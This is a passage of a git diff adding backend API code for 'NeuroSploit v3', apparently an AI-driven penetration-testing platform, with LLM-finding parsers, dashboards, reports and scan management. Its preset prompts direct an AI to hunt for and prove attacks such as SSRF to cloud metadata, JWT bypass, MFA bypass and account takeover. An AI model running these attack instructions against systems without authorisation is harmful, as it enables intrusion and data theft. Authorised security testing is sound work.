r'\*\*(?:Title|Finding|Vulnerability)[:\s]*\*\*\s*([^\n*]+)[\s\S]*?' + r'\*\*Severity[:\s]*\*\*\s*(critical|high|medium|low|info)[\s\S]*?' + r'\*\*Description[:\s]*\*\*\s*([^\n]+)', + + # ### Finding Name followed by severity + r'###\s+([^\n]+)\s*\n[\s\S]*?' + r'(?:\*\*)?(?:Severity|Risk)[:\s]*(?:\*\*)?\s*(critical|high|medium|low|info)', + + # Numbered findings: 1. **Finding Name** - Severity: xxx + r'\d+\.\s*\*\*([^*]+)\*\*[^\n]*(?:Severity|Risk)[:\s]*(critical|high|medium|low|info)', + + # - **Finding:** xxx | Severity: xxx + r'-\s*\*\*(?:Finding|Issue)[:\s]*\*\*\s*([^\n|]+)\s*\|\s*(?:Severity|Risk)[:\s]*(critical|high|medium|low|info)', + ] + + for pattern in structured_patterns: + matches = re.finditer(pattern, llm_response, re.IGNORECASE | re.MULTILINE) + for match in matches: + groups = match.groups() + title = groups[0].strip().strip('*').strip() + severity = groups[1].strip().lower() if len(groups) > 1 else "medium" + description = groups[2].strip() if len(groups) > 2 else f"Security issue: {title}" + + # Skip if already found + if any(f.get('title', '').lower() == title.lower() for f in findings): + continue + + metadata = get_vuln_metadata(title + " " + description) + + findings.append({ + "title": title, + "severity": severity, + "vulnerability_type": "AI Identified", + "description": description, + "affected_endpoint": target, + "evidence": "Identified by AI security analysis", + "remediation": f"Review and address the {title} vulnerability", + "cvss_score": metadata["cvss_score"], + "cvss_vector": metadata["cvss_vector"], + "cwe_id": metadata["cwe_id"], + "owasp": metadata.get("owasp", "") + }) + + # Pattern 2: Vulnerability keyword detection with severity inference + vuln_keywords = { + "critical": [ + ("sql injection", "SQL Injection vulnerability allows attackers to manipulate database queries"), + ("remote code execution", "Remote code execution allows arbitrary code execution on the server"), + ("rce", "Remote code execution vulnerability detected"), + ("authentication bypass", "Authentication can be bypassed allowing unauthorized access"), + ("command injection", "Command injection allows executing arbitrary system commands"), + ], + "high": [ + ("xss", "Cross-Site Scripting allows injection of malicious scripts"), + ("cross-site scripting", "XSS vulnerability allows script injection"), + ("ssrf", "Server-Side Request Forgery allows making requests from the server"), + ("idor", "Insecure Direct Object Reference allows accessing unauthorized data"), + ("file upload", "Unrestricted file upload may allow malicious file execution"), + ("path traversal", "Path traversal allows accessing files outside the web root"), + ("lfi", "Local File Inclusion allows reading arbitrary server files"), + ("rfi", "Remote File Inclusion allows including remote malicious files"), + ("xxe", "XML External Entity injection detected"), + ("deserialization", "Insecure deserialization vulnerability"), + ], + "medium": [ + ("csrf", "Cross-Site Request Forgery allows forging requests on behalf of users"), + ("clickjacking", "Clickjacking allows UI redressing attacks"), + ("open redirect", "Open redirect can be used for phishing attacks"), + ("information disclosure", "Sensitive information is exposed"), + ("sensitive data", "Sensitive data exposure detected"), + ("session fixation", "Session fixation vulnerability"), + ("host header injection", "Host header injection detected"), + ], + "low": [ + ("missing hsts", "HSTS header is missing, vulnerable to protocol downgrade"), + ("missing x-frame-options", "X-Frame-Options missing, clickjacking possible"), + ("missing x-content-type", "X-Content-Type-Options missing, MIME sniffing possible"), + ("missing csp", "Content-Security-Policy missing"), + ("cookie without httponly", "Cookie missing HttpOnly flag"), + ("cookie without secure", "Cookie missing Secure flag"), + ("directory listing", "Directory listing is enabled"), + ("verbose error", "Verbose error messages may leak information"), + ], + "info": [ + ("technology detected", "Technology fingerprinting information"), + ("version disclosed", "Software version information disclosed"), + ("endpoint discovered", "Additional endpoint discovered"), + ("robots.txt", "robots.txt file found"), + ("sitemap", "Sitemap file found"), + ("server header", "Server header reveals technology information"), + ] + } + + for severity, keyword_list in vuln_keywords.items(): + for keyword_tuple in keyword_list: + keyword = keyword_tuple[0] + default_desc = keyword_tuple[1] + + # Search for keyword with word boundaries + pattern = r'\b' + re.escape(keyword) + r'\b' + if re.search(pattern, llm_response, re.IGNORECASE): + # Check if we already have this finding + already_found = any( + keyword.lower() in f.get('title', '').lower() or + keyword.lower() in f.get('description', '').lower() + for f in findings + ) + if not already_found: + # Try to extract context around the keyword + match = re.search(pattern, llm_response, re.IGNORECASE) + if match: + idx = match.start() + start = max(0, idx - 150) + end = min(len(llm_response), idx + 250) + context = llm_response[start:end].strip() + # Clean up context + context = re.sub(r'\s+', ' ', context) + + metadata = get_vuln_metadata(keyword) + title = f"{keyword.title()} Vulnerability" if "vulnerability" not in keyword.lower() else keyword.title() + + findings.append({ + "title": title, + "severity": severity, + "vulnerability_type": keyword.replace(" ", "_").upper(), + "description": default_desc, + "affected_endpoint": target, + "evidence": f"AI Analysis Context: ...{context}..." if context else "Detected in AI response", + "remediation": f"Investigate and remediate the {keyword} vulnerability", + "cvss_score": metadata["cvss_score"], + "cvss_vector": metadata["cvss_vector"], + "cwe_id": metadata["cwe_id"], + "owasp": metadata.get("owasp", "") + }) + + # Pattern 3: Look for findings in bullet points or numbered lists + list_pattern = r'[-•]\s*((?:Critical|High|Medium|Low|Info)[:\s]+)?([^:\n]+(?:vulnerability|issue|flaw|weakness|exposure|misconfiguration)[^\n]*)' + for match in re.finditer(list_pattern, llm_response, re.IGNORECASE): + severity_text = (match.group(1) or "").strip().lower().rstrip(':') + title = match.group(2).strip() + + if len(title) < 10 or len(title) > 150: + continue + + severity = "medium" + for sev in ["critical", "high", "medium", "low", "info"]: + if sev in severity_text: + severity = sev + break + + if not any(f.get('title', '').lower() == title.lower() for f in findings): + metadata = get_vuln_metadata(title) + findings.append({ + "title": title, + "severity": severity, + "vulnerability_type": "AI Identified", + "description": f"Security finding: {title}", + "affected_endpoint": target, + "evidence": "Extracted from AI analysis", + "remediation": "Review and address this security finding", + "cvss_score": metadata["cvss_score"], + "cvss_vector": metadata["cvss_vector"], + "cwe_id": metadata["cwe_id"], + "owasp": metadata.get("owasp", "") + }) + + return findings diff --git a/backend/api/v1/dashboard.py b/backend/api/v1/dashboard.py new file mode 100644 index 0000000..0a6303a --- /dev/null +++ b/backend/api/v1/dashboard.py @@ -0,0 +1,177 @@ +""" +NeuroSploit v3 - Dashboard API Endpoints +""" +from typing import List +from fastapi import APIRouter, Depends +from sqlalchemy.ext.asyncio import AsyncSession +from sqlalchemy import select, func +from datetime import datetime, timedelta + +from backend.db.database import get_db +from backend.models import Scan, Vulnerability, Endpoint + +router = APIRouter() + + +@router.get("/stats") +async def get_dashboard_stats(db: AsyncSession = Depends(get_db)): + """Get overall dashboard statistics""" + # Total scans + total_scans_result = await db.execute(select(func.count()).select_from(Scan)) + total_scans = total_scans_result.scalar() or 0 + + # Running scans + running_result = await db.execute( + select(func.count()).select_from(Scan).where(Scan.status == "running") + ) + running_scans = running_result.scalar() or 0 + + # Completed scans + completed_result = await db.execute( + select(func.count()).select_from(Scan).where(Scan.status == "completed") + ) + completed_scans = completed_result.scalar() or 0 + + # Total vulnerabilities by severity + vuln_counts = {} + for severity in ["critical", "high", "medium", "low", "info"]: + result = await db.execute( + select(func.count()).select_from(Vulnerability).where(Vulnerability.severity == severity) + ) + vuln_counts[severity] = result.scalar() or 0 + + total_vulns = sum(vuln_counts.values()) + + # Total endpoints + endpoints_result = await db.execute(select(func.count()).select_from(Endpoint)) + total_endpoints = endpoints_result.scalar() or 0 + + # Recent activity (last 7 days) + week_ago = datetime.utcnow() - timedelta(days=7) + recent_scans_result = await db.execute( + select(func.count()).select_from(Scan).where(Scan.created_at >= week_ago) + ) + recent_scans = recent_scans_result.scalar() or 0 + + recent_vulns_result = await db.execute( + select(func.count()).select_from(Vulnerability).where(Vulnerability.created_at >= week_ago) + ) + recent_vulns = recent_vulns_result.scalar() or 0 + + return { + "scans": { + "total": total_scans, + "running": running_scans, + "completed": completed_scans, + "recent": recent_scans + }, + "vulnerabilities": { + "total": total_vulns, + "critical": vuln_counts["critical"], + "high": vuln_counts["high"], + "medium": vuln_counts["medium"], + "low": vuln_counts["low"], + "info": vuln_counts["info"], + "recent": recent_vulns + }, + "endpoints": { + "total": total_endpoints + } + } + + +@router.get("/recent") +async def get_recent_activity( + limit: int = 10, + db: AsyncSession = Depends(get_db) +): + """Get recent scan activity""" + # Recent scans + scans_query = select(Scan).order_by(Scan.created_at.desc()).limit(limit) + scans_result = await db.execute(scans_query) + recent_scans = scans_result.scalars().all() + + # Recent vulnerabilities + vulns_query = select(Vulnerability).order_by(Vulnerability.created_at.desc()).limit(limit) + vulns_result = await db.execute(vulns_query) + recent_vulns = vulns_result.scalars().all() + + return { + "recent_scans": [s.to_dict() for s in recent_scans], + "recent_vulnerabilities": [v.to_dict() for v in recent_vulns] + } + + +@router.get("/findings") +async def get_recent_findings( + limit: int = 20, + severity: str = None, + db: AsyncSession = Depends(get_db) +): + """Get recent vulnerability findings""" + query = select(Vulnerability).order_by(Vulnerability.created_at.desc()) + + if severity: + query = query.where(Vulnerability.severity == severity) + + query = query.limit(limit) + result = await db.execute(query) + vulnerabilities = result.scalars().all() + + return { + "findings": [v.to_dict() for v in vulnerabilities], + "total": len(vulnerabilities) + } + + +@router.get("/vulnerability-types") +async def get_vulnerability_distribution(db: AsyncSession = Depends(get_db)): + """Get vulnerability distribution by type""" + query = select( + Vulnerability.vulnerability_type, + func.count(Vulnerability.id).label("count") + ).group_by(Vulnerability.vulnerability_type) + + result = await db.execute(query) + distribution = result.all() + + return { + "distribution": [ + {"type": row[0], "count": row[1]} + for row in distribution + ] + } + + +@router.get("/scan-history") +async def get_scan_history( + days: int = 30, + db: AsyncSession = Depends(get_db) +): + """Get scan history for charts""" + start_date = datetime.utcnow() - timedelta(days=days) + + # Get scans grouped by date + scans = await db.execute( + select(Scan).where(Scan.created_at >= start_date).order_by(Scan.created_at) + ) + all_scans = scans.scalars().all() + + # Group by date + history = {} + for scan in all_scans: + date_str = scan.created_at.strftime("%Y-%m-%d") + if date_str not in history: + history[date_str] = { + "date": date_str, + "scans": 0, + "vulnerabilities": 0, + "critical": 0, + "high": 0 + } + history[date_str]["scans"] += 1 + history[date_str]["vulnerabilities"] += scan.total_vulnerabilities + history[date_str]["critical"] += scan.critical_count + history[date_str]["high"] += scan.high_count + + return {"history": list(history.values())} diff --git a/backend/api/v1/prompts.py b/backend/api/v1/prompts.py new file mode 100644 index 0000000..6aaa5d9 --- /dev/null +++ b/backend/api/v1/prompts.py @@ -0,0 +1,372 @@ +""" +NeuroSploit v3 - Prompts API Endpoints +""" +from typing import List, Optional +from fastapi import APIRouter, Depends, HTTPException, UploadFile, File +from sqlalchemy.ext.asyncio import AsyncSession +from sqlalchemy import select + +from backend.db.database import get_db +from backend.models import Prompt +from backend.schemas.prompt import ( + PromptCreate, PromptUpdate, PromptResponse, PromptParse, PromptParseResult, PromptPreset +) +from backend.core.prompt_engine.parser import PromptParser + +router = APIRouter() + +# Preset prompts +PRESET_PROMPTS = [ + { + "id": "full_pentest", + "name": "Full Penetration Test", + "description": "Comprehensive security assessment covering all vulnerability categories", + "category": "pentest", + "content": """Perform a comprehensive penetration test on the target application. + +Test for ALL vulnerability categories: +- Injection vulnerabilities (XSS, SQL Injection, Command Injection, LDAP, XPath, Template Injection) +- Authentication flaws (Broken auth, session management, JWT issues, OAuth flaws) +- Authorization issues (IDOR, BOLA, privilege escalation, access control bypass) +- File handling vulnerabilities (LFI, RFI, path traversal, file upload, XXE) +- Request forgery (SSRF, CSRF) +- API security issues (rate limiting, mass assignment, excessive data exposure) +- Client-side vulnerabilities (CORS misconfig, clickjacking, open redirect) +- Information disclosure (error messages, stack traces, sensitive data exposure) +- Infrastructure issues (security headers, SSL/TLS, HTTP methods) +- Business logic flaws (race conditions, workflow bypass) + +Use thorough testing with multiple payloads and bypass techniques. +Generate detailed PoC for each vulnerability found. +Provide remediation recommendations.""" + }, + { + "id": "owasp_top10", + "name": "OWASP Top 10", + "description": "Test for OWASP Top 10 2021 vulnerabilities", + "category": "compliance", + "content": """Test for OWASP Top 10 2021 vulnerabilities: + +A01:2021 - Broken Access Control +- IDOR, privilege escalation, access control bypass, CORS misconfig + +A02:2021 - Cryptographic Failures +- Sensitive data exposure, weak encryption, cleartext transmission + +A03:2021 - Injection +- SQL injection, XSS, command injection, LDAP injection + +A04:2021 - Insecure Design +- Business logic flaws, missing security controls + +A05:2021 - Security Misconfiguration +- Default configs, unnecessary features, missing headers + +A06:2021 - Vulnerable Components +- Outdated libraries, known CVEs + +A07:2021 - Identification and Authentication Failures +- Weak passwords, session fixation, credential stuffing + +A08:2021 - Software and Data Integrity Failures +- Insecure deserialization, CI/CD vulnerabilities + +A09:2021 - Security Logging and Monitoring Failures +- Missing audit logs, insufficient monitoring + +A10:2021 - Server-Side Request Forgery (SSRF) +- Internal network access, cloud metadata exposure""" + }, + { + "id": "api_security", + "name": "API Security Testing", + "description": "Focused testing for REST and GraphQL APIs", + "category": "api", + "content": """Perform API security testing: + +Authentication & Authorization: +- Test JWT implementation (algorithm confusion, signature bypass, claim manipulation) +- OAuth/OIDC flow testing +- API key exposure and validation +- Rate limiting bypass +- BOLA/IDOR on all endpoints + +Input Validation: +- SQL injection on API parameters +- NoSQL injection +- Command injection +- Parameter pollution +- Mass assignment vulnerabilities + +Data Exposure: +- Excessive data exposure in responses +- Sensitive data in error messages +- Information disclosure in headers +- Debug endpoints exposure + +GraphQL Specific (if applicable): +- Introspection enabled +- Query depth attacks +- Batching attacks +- Field suggestion exploitation + +API Abuse: +- Rate limiting effectiveness +- Resource exhaustion +- Denial of service vectors""" + }, + { + "id": "bug_bounty", + "name": "Bug Bounty Hunter", + "description": "Focus on high-impact, bounty-worthy vulnerabilities", + "category": "bug_bounty", + "content": """Hunt for high-impact vulnerabilities suitable for bug bounty: + +Priority 1 - Critical Impact: +- Remote Code Execution (RCE) +- SQL Injection leading to data breach +- Authentication bypass +- SSRF to internal services/cloud metadata +- Privilege escalation to admin + +Priority 2 - High Impact: +- Stored XSS +- IDOR on sensitive resources +- Account takeover vectors +- Payment/billing manipulation +- PII exposure + +Priority 3 - Medium Impact: +- Reflected XSS +- CSRF on sensitive actions +- Information disclosure +- Rate limiting bypass +- Open redirects (if exploitable) + +Look for: +- Unique attack chains +- Business logic flaws +- Edge cases and race conditions +- Bypass techniques for existing security controls + +Document with clear PoC and impact assessment.""" + }, + { + "id": "quick_scan", + "name": "Quick Security Scan", + "description": "Fast scan for common vulnerabilities", + "category": "quick", + "content": """Perform a quick security scan for common vulnerabilities: + +- Reflected XSS on input parameters +- Basic SQL injection testing +- Directory traversal/LFI +- Security headers check +- SSL/TLS configuration +- Common misconfigurations +- Information disclosure + +Use minimal payloads for speed. +Focus on quick wins and obvious issues.""" + }, + { + "id": "auth_testing", + "name": "Authentication Testing", + "description": "Focus on authentication and session management", + "category": "auth", + "content": """Test authentication and session management: + +Login Functionality: +- Username enumeration +- Password brute force protection +- Account lockout bypass +- Credential stuffing protection +- SQL injection in login + +Session Management: +- Session token entropy +- Session fixation +- Session timeout +- Cookie security flags (HttpOnly, Secure, SameSite) +- Session invalidation on logout + +Password Reset: +- Token predictability +- Token expiration +- Account enumeration +- Host header injection + +Multi-Factor Authentication: +- MFA bypass techniques +- Backup codes weakness +- Rate limiting on OTP + +OAuth/SSO: +- State parameter validation +- Redirect URI manipulation +- Token leakage""" + } +] + + +@router.get("/presets", response_model=List[PromptPreset]) +async def get_preset_prompts(): + """Get list of preset prompts""" + return [ + PromptPreset( + id=p["id"], + name=p["name"], + description=p["description"], + category=p["category"], + vulnerability_count=len(p["content"].split("\n")) + ) + for p in PRESET_PROMPTS + ] + + +@router.get("/presets/{preset_id}") +async def get_preset_prompt(preset_id: str): + """Get a specific preset prompt by ID""" + for preset in PRESET_PROMPTS: + if preset["id"] == preset_id: + return preset + raise HTTPException(status_code=404, detail="Preset not found") + + +@router.post("/parse", response_model=PromptParseResult) +async def parse_prompt(prompt_data: PromptParse): + """Parse a prompt to extract vulnerability types and testing scope""" + parser = PromptParser() + result = await parser.parse(prompt_data.content) + return result + + +@router.get("", response_model=List[PromptResponse]) +async def list_prompts( + category: Optional[str] = None, + db: AsyncSession = Depends(get_db) +): + """List all custom prompts""" + query = select(Prompt).where(Prompt.is_preset == False) + if category: + query = query.where(Prompt.category == category) + query = query.order_by(Prompt.created_at.desc()) + + result = await db.execute(query) + prompts = result.scalars().all() + + return [PromptResponse(**p.to_dict()) for p in prompts] + + +@router.post("", response_model=PromptResponse) +async def create_prompt(prompt_data: PromptCreate, db: AsyncSession = Depends(get_db)): + """Create a custom prompt""" + # Parse vulnerabilities from content + parser = PromptParser() + parsed = await parser.parse(prompt_data.content) + + prompt = Prompt( + name=prompt_data.name, + description=prompt_data.description, + content=prompt_data.content, + category=prompt_data.category, + is_preset=False, + parsed_vulnerabilities=[v.dict() for v in parsed.vulnerabilities_to_test] + ) + db.add(prompt) + await db.commit() + await db.refresh(prompt) + + return PromptResponse(**prompt.to_dict()) + + +@router.get("/{prompt_id}", response_model=PromptResponse) +async def get_prompt(prompt_id: str, db: AsyncSession = Depends(get_db)): + """Get a prompt by ID""" + result = await db.execute(select(Prompt).where(Prompt.id == prompt_id)) + prompt = result.scalar_one_or_none() + + if not prompt: + raise HTTPException(status_code=404, detail="Prompt not found") + + return PromptResponse(**prompt.to_dict()) + + +@router.put("/{prompt_id}", response_model=PromptResponse) +async def update_prompt( + prompt_id: str, + prompt_data: PromptUpdate, + db: AsyncSession = Depends(get_db) +): + """Update a prompt""" + result = await db.execute(select(Prompt).where(Prompt.id == prompt_id)) + prompt = result.scalar_one_or_none() + + if not prompt: + raise HTTPException(status_code=404, detail="Prompt not found") + + if prompt.is_preset: + raise HTTPException(status_code=400, detail="Cannot modify preset prompts") + + if prompt_data.name is not None: + prompt.name = prompt_data.name + if prompt_data.description is not None: + prompt.description = prompt_data.description + if prompt_data.content is not None: + prompt.content = prompt_data.content + # Re-parse vulnerabilities + parser = PromptParser() + parsed = await parser.parse(prompt_data.content) + prompt.parsed_vulnerabilities = [v.dict() for v in parsed.vulnerabilities_to_test] + if prompt_data.category is not None: + prompt.category = prompt_data.category + + await db.commit() + await db.refresh(prompt) + + return PromptResponse(**prompt.to_dict()) + + +@router.delete("/{prompt_id}") +async def delete_prompt(prompt_id: str, db: AsyncSession = Depends(get_db)): + """Delete a prompt""" + result = await db.execute(select(Prompt).where(Prompt.id == prompt_id)) + prompt = result.scalar_one_or_none() + + if not prompt: + raise HTTPException(status_code=404, detail="Prompt not found") + + if prompt.is_preset: + raise HTTPException(status_code=400, detail="Cannot delete preset prompts") + + await db.delete(prompt) + await db.commit() + + return {"message": "Prompt deleted"} + + +@router.post("/upload") +async def upload_prompt(file: UploadFile = File(...)): + """Upload a prompt file (.md or .txt)""" + if not file.filename: + raise HTTPException(status_code=400, detail="No file provided") + + ext = "." + file.filename.split(".")[-1].lower() if "." in file.filename else "" + if ext not in {".md", ".txt"}: + raise HTTPException(status_code=400, detail="Invalid file type. Use .md or .txt") + + content = await file.read() + try: + text = content.decode("utf-8") + except UnicodeDecodeError: + raise HTTPException(status_code=400, detail="Unable to decode file") + + # Parse the prompt + parser = PromptParser() + parsed = await parser.parse(text) + + return { + "filename": file.filename, + "content": text, + "parsed": parsed.dict() + } diff --git a/backend/api/v1/reports.py b/backend/api/v1/reports.py new file mode 100644 index 0000000..96f8f44 --- /dev/null +++ b/backend/api/v1/reports.py @@ -0,0 +1,200 @@ +""" +NeuroSploit v3 - Reports API Endpoints +""" +from typing import List, Optional +from fastapi import APIRouter, Depends, HTTPException +from fastapi.responses import FileResponse, HTMLResponse +from sqlalchemy.ext.asyncio import AsyncSession +from sqlalchemy import select +from pathlib import Path + +from backend.db.database import get_db +from backend.models import Scan, Report, Vulnerability +from backend.schemas.report import ReportGenerate, ReportResponse, ReportListResponse +from backend.core.report_engine.generator import ReportGenerator +from backend.config import settings + +router = APIRouter() + + +@router.get("", response_model=ReportListResponse) +async def list_reports( + scan_id: Optional[str] = None, + db: AsyncSession = Depends(get_db) +): + """List all reports""" + query = select(Report).order_by(Report.generated_at.desc()) + + if scan_id: + query = query.where(Report.scan_id == scan_id) + + result = await db.execute(query) + reports = result.scalars().all() + + return ReportListResponse( + reports=[ReportResponse(**r.to_dict()) for r in reports], + total=len(reports) + ) + + +@router.post("", response_model=ReportResponse) +async def generate_report( + report_data: ReportGenerate, + db: AsyncSession = Depends(get_db) +): + """Generate a new report for a scan""" + # Get scan + scan_result = await db.execute(select(Scan).where(Scan.id == report_data.scan_id)) + scan = scan_result.scalar_one_or_none() + + if not scan: + raise HTTPException(status_code=404, detail="Scan not found") + + # Get vulnerabilities + vulns_result = await db.execute( + select(Vulnerability).where(Vulnerability.scan_id == report_data.scan_id) + ) + vulnerabilities = vulns_result.scalars().all() + + # Generate report + generator = ReportGenerator() + report_path, executive_summary = await generator.generate( + scan=scan, + vulnerabilities=vulnerabilities, + format=report_data.format, + title=report_data.title, + include_executive_summary=report_data.include_executive_summary, + include_poc=report_data.include_poc, + include_remediation=report_data.include_remediation + ) + + # Save report record + report = Report( + scan_id=scan.id, + title=report_data.title or f"Report - {scan.name}", + format=report_data.format, + file_path=str(report_path), + executive_summary=executive_summary + ) + db.add(report) + await db.commit() + await db.refresh(report) + + return ReportResponse(**report.to_dict()) + + +@router.get("/{report_id}", response_model=ReportResponse) +async def get_report(report_id: str, db: AsyncSession = Depends(get_db)): + """Get report details""" + result = await db.execute(select(Report).where(Report.id == report_id)) + report = result.scalar_one_or_none() + + if not report: + raise HTTPException(status_code=404, detail="Report not found") + + return ReportResponse(**report.to_dict()) + + +@router.get("/{report_id}/view") +async def view_report(report_id: str, db: AsyncSession = Depends(get_db)): + """View report in browser (HTML)""" + result = await db.execute(select(Report).where(Report.id == report_id)) + report = result.scalar_one_or_none() + + if not report: + raise HTTPException(status_code=404, detail="Report not found") + + if not report.file_path: + raise HTTPException(status_code=404, detail="Report file not found") + + file_path = Path(report.file_path) + if not file_path.exists(): + raise HTTPException(status_code=404, detail="Report file not found on disk") + + if report.format == "html": + content = file_path.read_text() + return HTMLResponse(content=content) + else: + return FileResponse( + path=str(file_path), + media_type="application/octet-stream", + filename=file_path.name + ) + + +@router.get("/{report_id}/download/{format}") +async def download_report( + report_id: str, + format: str, + db: AsyncSession = Depends(get_db) +): + """Download report in specified format""" + result = await db.execute(select(Report).where(Report.id == report_id)) + report = result.scalar_one_or_none() + + if not report: + raise HTTPException(status_code=404, detail="Report not found") + + # Get scan and vulnerabilities for generating report + scan_result = await db.execute(select(Scan).where(Scan.id == report.scan_id)) + scan = scan_result.scalar_one_or_none() + + if not scan: + raise HTTPException(status_code=404, detail="Scan not found for report") + + vulns_result = await db.execute( + select(Vulnerability).where(Vulnerability.scan_id == report.scan_id) + ) + vulnerabilities = vulns_result.scalars().all() + + # Always generate fresh report file (handles auto-generated reports without file_path) + generator = ReportGenerator() + report_path, _ = await generator.generate( + scan=scan, + vulnerabilities=vulnerabilities, + format=format, + title=report.title + ) + file_path = Path(report_path) + + # Update report with file path if not set + if not report.file_path: + report.file_path = str(file_path) + report.format = format + await db.commit() + + if not file_path.exists(): + raise HTTPException(status_code=404, detail="Report file not found") + + media_types = { + "html": "text/html", + "pdf": "application/pdf", + "json": "application/json" + } + + return FileResponse( + path=str(file_path), + media_type=media_types.get(format, "application/octet-stream"), + filename=file_path.name + ) + + +@router.delete("/{report_id}") +async def delete_report(report_id: str, db: AsyncSession = Depends(get_db)): + """Delete a report""" + result = await db.execute(select(Report).where(Report.id == report_id)) + report = result.scalar_one_or_none() + + if not report: + raise HTTPException(status_code=404, detail="Report not found") + + # Delete file if exists + if report.file_path: + file_path = Path(report.file_path) + if file_path.exists(): + file_path.unlink() + + await db.delete(report) + await db.commit() + + return {"message": "Report deleted"} diff --git a/backend/api/v1/scans.py b/backend/api/v1/scans.py new file mode 100644 index 0000000..fdedef0 --- /dev/null +++ b/backend/api/v1/scans.py @@ -0,0 +1,304 @@ +""" +NeuroSploit v3 - Scans API Endpoints +""" +from typing import List, Optional +from datetime import datetime +from fastapi import APIRouter, Depends, HTTPException, BackgroundTasks +from sqlalchemy.ext.asyncio import AsyncSession +from sqlalchemy import select, func +from urllib.parse import urlparse + +from backend.db.database import get_db +from backend.models import Scan, Target, Endpoint, Vulnerability +from backend.schemas.scan import ScanCreate, ScanUpdate, ScanResponse, ScanListResponse, ScanProgress +from backend.services.scan_service import run_scan_task + +router = APIRouter() + + +@router.get("", response_model=ScanListResponse) +async def list_scans( + page: int = 1, + per_page: int = 10, + status: Optional[str] = None, + db: AsyncSession = Depends(get_db) +): + """List all scans with pagination""" + query = select(Scan).order_by(Scan.created_at.desc()) + + if status: + query = query.where(Scan.status == status) + + # Get total count + count_query = select(func.count()).select_from(Scan) + if status: + count_query = count_query.where(Scan.status == status) + total_result = await db.execute(count_query) + total = total_result.scalar() + + # Apply pagination + query = query.offset((page - 1) * per_page).limit(per_page) + result = await db.execute(query) + scans = result.scalars().all() + + # Load targets for each scan + scan_responses = [] + for scan in scans: + targets_query = select(Target).where(Target.scan_id == scan.id) + targets_result = await db.execute(targets_query) + targets = targets_result.scalars().all() + + scan_dict = scan.to_dict() + scan_dict["targets"] = [t.to_dict() for t in targets] + scan_responses.append(ScanResponse(**scan_dict)) + + return ScanListResponse( + scans=scan_responses, + total=total, + page=page, + per_page=per_page + ) + + +@router.post("", response_model=ScanResponse) +async def create_scan( + scan_data: ScanCreate, + background_tasks: BackgroundTasks, + db: AsyncSession = Depends(get_db) +): + """Create a new scan with optional authentication for authenticated testing""" + # Process authentication config + auth_type = None + auth_credentials = None + if scan_data.auth: + auth_type = scan_data.auth.auth_type + auth_credentials = {} + if scan_data.auth.cookie: + auth_credentials["cookie"] = scan_data.auth.cookie + if scan_data.auth.bearer_token: + auth_credentials["bearer_token"] = scan_data.auth.bearer_token + if scan_data.auth.username: + auth_credentials["username"] = scan_data.auth.username + if scan_data.auth.password: + auth_credentials["password"] = scan_data.auth.password + if scan_data.auth.header_name and scan_data.auth.header_value: + auth_credentials["header_name"] = scan_data.auth.header_name + auth_credentials["header_value"] = scan_data.auth.header_value + + # Create scan + scan = Scan( + name=scan_data.name or f"Scan {datetime.now().strftime('%Y-%m-%d %H:%M')}", + scan_type=scan_data.scan_type, + recon_enabled=scan_data.recon_enabled, + custom_prompt=scan_data.custom_prompt, + prompt_id=scan_data.prompt_id, + config=scan_data.config, + auth_type=auth_type, + auth_credentials=auth_credentials, + custom_headers=scan_data.custom_headers, + status="pending" + ) + db.add(scan) + await db.flush() + + # Create targets + targets = [] + for url in scan_data.targets: + parsed = urlparse(url) + target = Target( + scan_id=scan.id, + url=url, + hostname=parsed.hostname, + port=parsed.port or (443 if parsed.scheme == "https" else 80), + protocol=parsed.scheme or "https", + path=parsed.path or "/" + ) + db.add(target) + targets.append(target) + + await db.commit() + await db.refresh(scan) + + scan_dict = scan.to_dict() + scan_dict["targets"] = [t.to_dict() for t in targets] + + return ScanResponse(**scan_dict) + + +@router.get("/{scan_id}", response_model=ScanResponse) +async def get_scan(scan_id: str, db: AsyncSession = Depends(get_db)): + """Get scan details by ID""" + result = await db.execute(select(Scan).where(Scan.id == scan_id)) + scan = result.scalar_one_or_none() + + if not scan: + raise HTTPException(status_code=404, detail="Scan not found") + + # Load targets + targets_result = await db.execute(select(Target).where(Target.scan_id == scan_id)) + targets = targets_result.scalars().all() + + scan_dict = scan.to_dict() + scan_dict["targets"] = [t.to_dict() for t in targets] + + return ScanResponse(**scan_dict) + + +@router.post("/{scan_id}/start") +async def start_scan( + scan_id: str, + background_tasks: BackgroundTasks, + db: AsyncSession = Depends(get_db) +): + """Start a scan execution""" + result = await db.execute(select(Scan).where(Scan.id == scan_id)) + scan = result.scalar_one_or_none() + + if not scan: + raise HTTPException(status_code=404, detail="Scan not found") + + if scan.status == "running": + raise HTTPException(status_code=400, detail="Scan is already running") + + # Update scan status + scan.status = "running" + scan.started_at = datetime.utcnow() + scan.current_phase = "initializing" + scan.progress = 0 + await db.commit() + + # Start scan in background with its own database session + background_tasks.add_task(run_scan_task, scan_id) + + return {"message": "Scan started", "scan_id": scan_id} + + +@router.post("/{scan_id}/stop") +async def stop_scan(scan_id: str, db: AsyncSession = Depends(get_db)): + """Stop a running scan""" + result = await db.execute(select(Scan).where(Scan.id == scan_id)) + scan = result.scalar_one_or_none() + + if not scan: + raise HTTPException(status_code=404, detail="Scan not found") + + if scan.status != "running": + raise HTTPException(status_code=400, detail="Scan is not running") + + scan.status = "stopped" + scan.completed_at = datetime.utcnow() + await db.commit() + + return {"message": "Scan stopped", "scan_id": scan_id} + + +@router.get("/{scan_id}/status", response_model=ScanProgress) +async def get_scan_status(scan_id: str, db: AsyncSession = Depends(get_db)): + """Get scan progress and status""" + result = await db.execute(select(Scan).where(Scan.id == scan_id)) + scan = result.scalar_one_or_none() + + if not scan: + raise HTTPException(status_code=404, detail="Scan not found") + + return ScanProgress( + scan_id=scan.id, + status=scan.status, + progress=scan.progress, + current_phase=scan.current_phase, + total_endpoints=scan.total_endpoints, + total_vulnerabilities=scan.total_vulnerabilities + ) + + +@router.delete("/{scan_id}") +async def delete_scan(scan_id: str, db: AsyncSession = Depends(get_db)): + """Delete a scan""" + result = await db.execute(select(Scan).where(Scan.id == scan_id)) + scan = result.scalar_one_or_none() + + if not scan: + raise HTTPException(status_code=404, detail="Scan not found") + + if scan.status == "running": + raise HTTPException(status_code=400, detail="Cannot delete running scan") + + await db.delete(scan) + await db.commit() + + return {"message": "Scan deleted", "scan_id": scan_id} + + +@router.get("/{scan_id}/endpoints") +async def get_scan_endpoints( + scan_id: str, + page: int = 1, + per_page: int = 50, + db: AsyncSession = Depends(get_db) +): + """Get endpoints discovered in a scan""" + result = await db.execute(select(Scan).where(Scan.id == scan_id)) + scan = result.scalar_one_or_none() + + if not scan: + raise HTTPException(status_code=404, detail="Scan not found") + + query = 